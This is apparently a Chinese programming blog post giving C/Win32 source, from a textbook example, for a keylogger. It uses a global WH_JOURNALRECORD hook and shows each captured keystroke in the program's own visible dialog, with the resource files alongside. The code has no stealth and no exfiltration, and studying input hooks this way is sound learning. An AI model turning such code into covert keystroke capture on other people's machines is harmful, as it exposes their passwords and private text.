C键盘钩子

根据《Windows环境下32位汇编语言程序设计》(罗云彬著)书上的例子,采用SDK实现键盘记录器!

 

main.c

 

#include <windows.h> #include "resource.h" #define DEBUG 0 LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam); BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam); static HWND hWinMain=NULL; static HHOOK hHook=NULL; static WORD szAscii=0; int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ) { DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain); return 0; } BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { #if DEBUG TCHAR buf[10]; #endif switch (uMsg) { case WM_INITDIALOG: hWinMain=hwndDlg; SendMessage(hwndDlg,WM_SETICON, ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN))); //装载钩子 hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL); if(!hHook) { EndDialog(hwndDlg,NULL); } break; case WM_CLOSE: //移除钩子 UnhookWindowsHookEx(hHook); EndDialog(hwndDlg,NULL); break; default: return FALSE; } return TRUE; } /************************************************************************/ /* 钩子处理过程 */ /************************************************************************/ LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam) { BYTE szKeyState[256]; int size; PEVENTMSG eventMsg; #if DEBUG TCHAR buf[10]; #endif if(HC_ACTION==code) { eventMsg=(PEVENTMSG)lParam; if(WM_KEYDOWN==eventMsg->message) { GetKeyboardState(szKeyState);//当前键盘状态填入缓冲区 szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//获取低位,特殊填写SHIFT键扫描码 //将虚拟键盘码转换ASCII码 size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&szAscii,0); *((BYTE *)&szAscii+size)=0; if(0xd==szAscii) //判断是否按下回车键 { SendDlgItemMessage(hWinMain,IDC_TEXT, EM_REPLACESEL,0,(LPARAM)(TEXT("/r/n"))); } else SendDlgItemMessage(hWinMain,IDC_TEXT, EM_REPLACESEL,0,(LPARAM)(&szAscii)); #if DEBUG wsprintf(buf,L"%#X",dwTemp); MessageBox(NULL,buf,TEXT("value"),MB_OK); #endif } } CallNextHookEx(hHook,code,wParam,lParam);//调用下一个钩子链 return 0;//可返回任意值 }

 

resource.h

//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by DLLRec.rc // #define DLG_MAIN 101 #define IDI_MAIN 102 #define IDC_TEXT 1003 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1004 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif

 

key.rc

 

// Microsoft Visual C++ generated resource script. // #include "resource.h" #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 2 resource. // #include "afxres.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // 中文(中华人民共和国) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) #ifdef _WIN32 LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED #pragma code_page(936) #endif //_WIN32 #ifdef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE // 1 TEXTINCLUDE BEGIN "resource.h/0" END 2 TEXTINCLUDE BEGIN "#include ""afxres.h""/r/n" "/0" END 3 TEXTINCLUDE BEGIN "/r/n" "/0" END #endif // APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Dialog // DLG_MAIN DIALOGEX 0, 0, 196, 173 STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU CAPTION "键盘钩子" FONT 8, "MS Shell Dlg", 400, 0, 0x1 BEGIN EDITTEXT IDC_TEXT,4,3,188,165,ES_MULTILINE | ES_AUTOHSCROLL | ES_READONLY | WS_VSCROLL END ///////////////////////////////////////////////////////////////////////////// // // DESIGNINFO // #ifdef APSTUDIO_INVOKED GUIDELINES DESIGNINFO BEGIN DLG_MAIN, DIALOG BEGIN LEFTMARGIN, 7 RIGHTMARGIN, 189 TOPMARGIN, 7 BOTTOMMARGIN, 166 END END #endif // APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Icon // // Icon with lowest ID value placed first to ensure application icon // remains consistent on all systems. IDI_MAIN ICON "Main.ico" #endif // 中文(中华人民共和国) resources ///////////////////////////////////////////////////////////////////////////// #ifndef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 3 resource. // ///////////////////////////////////////////////////////////////////////////// #endif // not APSTUDIO_INVOKED

你可能感兴趣的:(c,Microsoft,null,callback,dependencies,winapi)